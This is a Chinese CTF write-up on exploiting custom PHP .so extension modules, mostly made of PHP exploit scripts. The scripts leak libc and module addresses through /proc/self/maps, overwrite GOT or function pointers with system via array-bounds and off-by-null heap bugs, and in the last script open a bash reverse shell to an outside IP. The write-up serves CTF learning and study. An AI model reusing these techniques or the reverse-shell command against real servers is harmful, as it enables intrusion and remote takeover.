【Pwn-CTF php .so pwn 题型分析】此文章归类为:Pwn。
最近打比赛 遇到了几道 php so 模块的 pwn 题,个人感觉挺有意思的
一般情况下会把php 大部分函数 ban 掉,只是用 自定义so 文件里的函数
虽然里面函数名前面有zif_
,实际上调用的函数名是
1 2 3 4 5 | add_chunk() show_chunk() edit_chunk() edit_name() free_chunk() |
172.17.0.2
1 2 3 4 5 6 7 8 | <?php echo "123" ; echo "123" ; add_chunk(1,[0x23], "name" ); ?> |
1 2 | rdi 第一个参数可能是 传递参数的数量, rsi 可以通过该指针指向的字符数量来得知正确的参数数量(当前add_chunk) `lzz` 3个参数 类型 |
最简单的获取函数调用者传递过来的参数便是使用zend_parse_parameters()函数。zend_parse_parameters()函数的前几个参数我们直接用内核里宏来生成便可以了,形式为:ZEND_NUM_ARGS() TSRMLS_CC,注意两者之间有个空格,但是没有逗号。从名字可以看出,ZEND_NUM_ARGS()代表着参数的个数。紧接着需要传递给zend_parse_parameters()函数的参数是一个用于格式化的字符串,就像printf的第一个参数一样。下面表示了最常用的几个符号。
1 2 3 | 4 int 6 strings 7 arrary |
1 | int zend_parse_parameters( size_t arg_num, char *TypeChar, ...) |
如果参数不是预期的数量和类型,zend_parse_parameters
会返回 -1 否则 0
简单了解下 lzz
是什么东东
1 2 3 4 5 6 7 8 9 10 11 | b Boolean l Integer 整型 d Floating point 浮点型 s String 字符串 r Resource 资源 a Array 数组 o Object instance 对象 O Object instance of a specified type 特定类型的对象 z Non - specific zval 任意类型~ Z zval * * 类型 f 表示函数、方法名称,PHP5. 3 之前没有的 |
bin_data_size的映射表,将宏定义展开为如下数组所示:
1 | uint32_t bin_data_size[] = {8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, 448, 512, 640, 768, 896, 1024, 1280, 1536, 1792, 2048, 2560, 3072 ...}; |
server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | #!/usr/bin/python3 import sys import tempfile import os sys.stdout.write( "File size >> " ) sys.stdout.flush() size = int (sys.stdin.readline().strip()) if size > 1024 * 1024 : sys.stdout.write( "Too large!" ) sys.stdout.flush() sys.exit( 1 ) sys.stdout.write( "Data >> " ) sys.stdout.flush() script = sys.stdin.read(size) filename = tempfile.mktemp() with open (filename, "w" ) as f: f.write(script) os.system( "php " + filename) |
Dockerfile
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | FROM php: 8.3 - apache RUN apt - get update RUN apt - get upgrade - y RUN DEBIAN_FRONTEND = noninteractive RUN apt install lib32z1 xinetd libstdc + + 6 lib32stdc + + 6 python3 - y RUN useradd - m ctf RUN echo "ctf:ctf" | chpasswd WORKDIR / home / ctf ADD ynetd / home / ctf ADD server.py / home / ctf ADD run.sh / home / ctf COPY . / php.ini / usr / local / etc / php COPY . / numberGame.so / usr / local / lib / php / extensions / no - debug - non - zts - 20230831 COPY . / readflag / COPY . / flag.txt / flag.txt RUN chmod 400 / flag.txt RUN chmod u + sx / readflag EXPOSE 5555 CMD . / ynetd - p 5555 "timeout 30 ./run.sh" |
php.ini
基本上禁用了所有的php函数[PHP] disable_functions = "system",... disable_classes = ""... extension = numberGame.so ; 扩展的 so
.tar.gz
的docker 镜像包,使用以下命令进行加载(线下比赛没有网络 给Dockerfile
也拉起不了,所以给打包的环境)1 | docker load -i jingxiang. tar .gz |
1 | docker run - - name run_numbergame - p 5555 : 5555 - itd numbergame:latest |
大致结构体
1 2 3 4 5 6 | struct mechunk{ size_t *name_ptr; size_t num; size_t array_size; // 默认 最大 100, 通过漏洞使这里变大,我们既可以实现数组越界 ...; }; |
正常情况下,array_size 是 4
array_size 被改 ( 和quicksort 有关),基本上使用 edit 时 idx 就没有限制了,只要知道 heap 地址和另一个地址,即可实现任意地址写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 | <?php $heap_base = 0; $libc_base = 0; $libc = "" ; $mbase = "" ; function u64( $leak ){ $leak = strrev ( $leak ); $leak = bin2hex( $leak ); $leak = hexdec( $leak ); return $leak ; } function p64( $addr ){ $addr = dechex ( $addr ); $addr = hex2bin( $addr ); $addr = strrev ( $addr ); $addr = str_pad ( $addr , 8, "\x00" ); return $addr ; } function leakaddr( $buffer ){ global $libc , $mbase ; $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/' ; $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/numberGame.so/' ; preg_match_all( $p , $buffer , $libc ); preg_match_all( $p1 , $buffer , $mbase ); return "" ; } ob_start( "leakaddr" ); include ( "/proc/self/maps" ); $buffer = ob_get_contents(); ob_end_flush(); leakaddr( $buffer ); echo "\n----1-----\n" ; add_chunk(5,[0,0,0,0x80000000,0], "test1" ); # 需要构造好 #add_chunk(1,[0], "/bin/sh;" ); add_chunk(1,[0], "/bin/sh" ); $rel = show_chunk(0); # 这里触发漏洞 vlun 会把数组控制的范围增大,然后 越界修改和泄露其他地方的值 $heap = $rel [7]; $heap += ( $rel [8] << 0x20); // 泄露 heap 地址 $of = $heap - 72; # 数组起始 # $str_got = hexdec( $mbase [1][0])+ 0x4008; // 计算 strlen 的地址, ## echo "\n----heap-----\n" ; echo dechex ( $heap ); echo "\n----4-----\n" ; echo $libc [1][0]; echo "\n----4-----\n" ; # $offset = ( $str_got - $of ) / 4; $system = (hexdec( $libc [1][0]) + 0x4c490); echo $offset ; edit_chunk(0, $offset , $system & 0xffffffff); # 修改strlen_got表低四字节为 system //修改name 的时候 会先 strlen测量 name 的长度 strlen("/bin/sh"); edit_name(1, '1' ); # ?> |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | FROM php:8.3-apache RUN apt-get update RUN apt-get upgrade -y RUN DEBIAN_FRONTEND=noninteractive RUN apt install vim -y COPY ./stuff/php.ini /usr/local/etc/php COPY ./stuff/vuln.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831 COPY ./stuff/readflag / COPY ./flag.txt /flag.txt COPY ./stuff/index.php / var /www/html RUN chmod 400 /flag.txt RUN chmod u+sx /readflag RUN chmod -R 777 / var /www/html |
1 2 3 4 5 6 7 8 9 10 11 12 13 | <?php @ error_reporting (E_ALL); $file = $_FILES [ 'file' ]; if (!isset( $file )){ die ( 'upload error' ); } $result = move_uploaded_file( $file [ 'tmp_name' ], $file [ 'name' ]); if ( $result ){ echo 'upload success' ; } else { echo 'upload error' ; } |
1 2 3 | /etc/php/8 .3 /apache2/php .ini 添加 extension = vuln.so |
然后把所需要的 so 放到指定目录, 后面再启动的后应该就可以成功加载了
直接用本机apache2 + php 环境调试,
所以说,没法直接调试,我们可以是用 /usr/sbin/apachectl -X
即可调试进程. apachectl
是一个 shell脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | from pwn import * from os import system import sys s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter( str (delim), data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter( str (delim), data) r = lambda num :io.recv(num) ru = lambda delims, drop = True :io.recvuntil(delims, drop) rl = lambda :io.recvline() itr = lambda :io.interactive() uu32 = lambda data :u32(data.ljust( 4 ,b '\x00' )) uu64 = lambda data :u64(data.ljust( 8 ,b '\x00' )) ls = lambda data :log.success(data) lss = lambda s :log.success( '\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval (s))) context.arch = 'amd64' context.log_level = 'debug' context.terminal = [ 'tmux' , 'splitw' , '-h' , '-l' , '190' ] def start(binary,argv = [], * a, * * kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([binary] + argv, gdbscript = gdbscript, * a, * * kw) elif args.RE: return remote() elif args.AWD: # python3 exp.py AWD 1.1.1.1 PORT IP = str (sys.argv[ 1 ]) PORT = int (sys.argv[ 2 ]) return remote(IP,PORT) else : return process([binary] + argv, * a, * * kw) io = process([ '/usr/sbin/apachectl' , '-X' ]) print (io.pid) sleep( 0.1 ) import subprocess gdbscript = ''' b *zif_addHacker #b *zif_displayHacker b *zif_editHacker #b *zif_editHacker c ''' command = [ "pgrep" , "-f" , "/usr/sbin/apache2" ] result = subprocess.run(command, capture_output = True , text = True ) pids = int (result.stdout.strip().split( "\n" )[ 0 ]) gdb.attach(pids,gdbscript) pause() system( 'cp exp.php /var/www/html/exp.php' ) system( 'curl http://127.0.0.1/exp.php' ) itr() |
1 2 3 4 | addHacker() removeHacker() displasyHacker() edithacker() |
1 2 3 4 5 | addHacker( "test1" , "test2" );# text, text // 下面的基本上猜都能猜出来 removeHack(0); # idx editHack(0, "ntxt" ); # idx, new_text displayHack(0); # idx |
1 | addHacker( str_repeat ( "A" , 0x8), str_repeat ( "B" , 0x30)); |
off by null
时,0x77b36de73040
里面存的指针还是正常的
off by null
触发后,下面的那个链表已经被修改了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | <?php $heap_base = 0; $libc_base = 0; $libc = "" ; $mbase = "" ; function hex( $addr ){ return dechex ( $addr ); } // str_repeat("\x90", 0x8) // str_pad($cmd, 0x20, "\x00") function u64( $leak ){ $leak = strrev ( $leak ); $leak = bin2hex( $leak ); $leak = hexdec( $leak ); return $leak ; } function p64( $addr ){ $addr = dechex ( $addr ); $addr = hex2bin( $addr ); $addr = strrev ( $addr ); $addr = str_pad ( $addr , 8, "\x00" ); return $addr ; } function leakaddr( $buffer ){ global $libc , $mbase ; $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/' ; # $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/' ; $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/php\/20230831\/vuln.so/' ; preg_match_all( $p , $buffer , $libc ); preg_match_all( $p1 , $buffer , $mbase ); return "" ; } ob_start( "leakaddr" ); include ( "/proc/self/maps" ); $buffer = ob_get_contents(); ob_end_flush(); leakaddr( $buffer ); $libc_base =hexdec( $libc [1][0]); $module_base =hexdec( $mbase [1][0]); //echo hex($libc_base)."\n"; //echo hex($module_base)."\n"; $pay = p64( $module_base + 0x4020); $pay = str_pad ( $pay ,0x40, "\x01" ); addHacker( str_repeat ( "A" , 0x8), str_repeat ( "B" , 0x30)); addHacker( $pay , str_repeat ( "D" , 0x2f)); editHacker(0, '111' ); ?> |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | <?php $heap_base = 0; $libc_base = 0; $libc = "" ; $mbase = "" ; function hex( $addr ){ return dechex ( $addr ); } // str_repeat("\x90", 0x8) // str_pad($cmd, 0x20, "\x00") function u64( $leak ){ $leak = strrev ( $leak ); $leak = bin2hex( $leak ); $leak = hexdec( $leak ); return $leak ; } function p64( $addr ){ $addr = dechex ( $addr ); $addr = hex2bin( $addr ); $addr = strrev ( $addr ); $addr = str_pad ( $addr , 8, "\x00" ); return $addr ; } function leakaddr( $buffer ){ global $libc , $mbase ; $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/' ; # $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/' ; $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/php\/20230831\/vuln.so/' ; preg_match_all( $p , $buffer , $libc ); preg_match_all( $p1 , $buffer , $mbase ); return "" ; } ob_start( "leakaddr" ); include ( "/proc/self/maps" ); $buffer = ob_get_contents(); ob_end_flush(); leakaddr( $buffer ); $libc_base =hexdec( $libc [1][0]); $module_base =hexdec( $mbase [1][0]); $system = $libc_base + 362304; //echo hex($libc_base)."\n"; //echo hex($module_base)."\n"; $cmd = "echo `whoami`\x00" ; $pay = p64( $module_base + 0x4020); $pay = str_pad ( $pay ,0x40, "\x01" ); addHacker( str_repeat ( "A" , 0x8), str_repeat ( "B" , 0x30)); addHacker( $pay , str_repeat ( "D" , 0x2f)); addHacker( $cmd , $cmd ); editHacker(0,p64( $system )); displayHacker(2); ?> |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | <?php $heap_base = 0; $libc_base = 0; $libc = "" ; $mbase = "" ; function u64( $leak ){ $leak = strrev ( $leak ); $leak = bin2hex( $leak ); $leak = hexdec( $leak ); return $leak ; } function p64( $addr ){ $addr = dechex ( $addr ); $addr = hex2bin( $addr ); $addr = strrev ( $addr ); $addr = str_pad ( $addr , 8, "\x00" ); return $addr ; } function leakaddr( $buffer ){ global $libc , $mbase ; $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/' ; $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/' ; preg_match_all( $p , $buffer , $libc ); preg_match_all( $p1 , $buffer , $mbase ); return "" ; } function leak(){ global $libc_base , $module_base , $libc , $mbase ; ob_start( "leakaddr" ); include ( "/proc/self/maps" ); $buffer = ob_get_contents(); ob_end_flush(); leakaddr( $buffer ); $libc_base =hexdec( $libc [1][0]); $module_base =hexdec( $mbase [1][0]); } function attack( $cmd ){ global $libc_base , $module_base ; $payload = str_pad (p64( $module_base + 0x4038).p64(0xff), 0x40, "\x90" ); $gadget = p64( $libc_base + 0x4c490); addHacker( str_repeat ( "\x90" , 0x8), str_repeat ( "\x90" , 0x30)); addHacker( $payload , str_repeat ( "\x90" , 0x2f)); addHacker( str_pad ( $cmd , 0x20, "\x00" ), "114514" ); editHacker(0, $gadget ); } function main(){ $cmd = 'bash -c "bash -i >& /dev/tcp/114.514.19.19/810 0>&1"' ; leak(); attack( $cmd ); removeHacker(2); } main(); ?> |
1 | https: //pan .baidu.com /s/1vMlz4msbfnf0tQsNEMhlwA ? pwd =imzl |
更多【Pwn-CTF php .so pwn 题型分析】相关视频教程:www.yxfzedu.com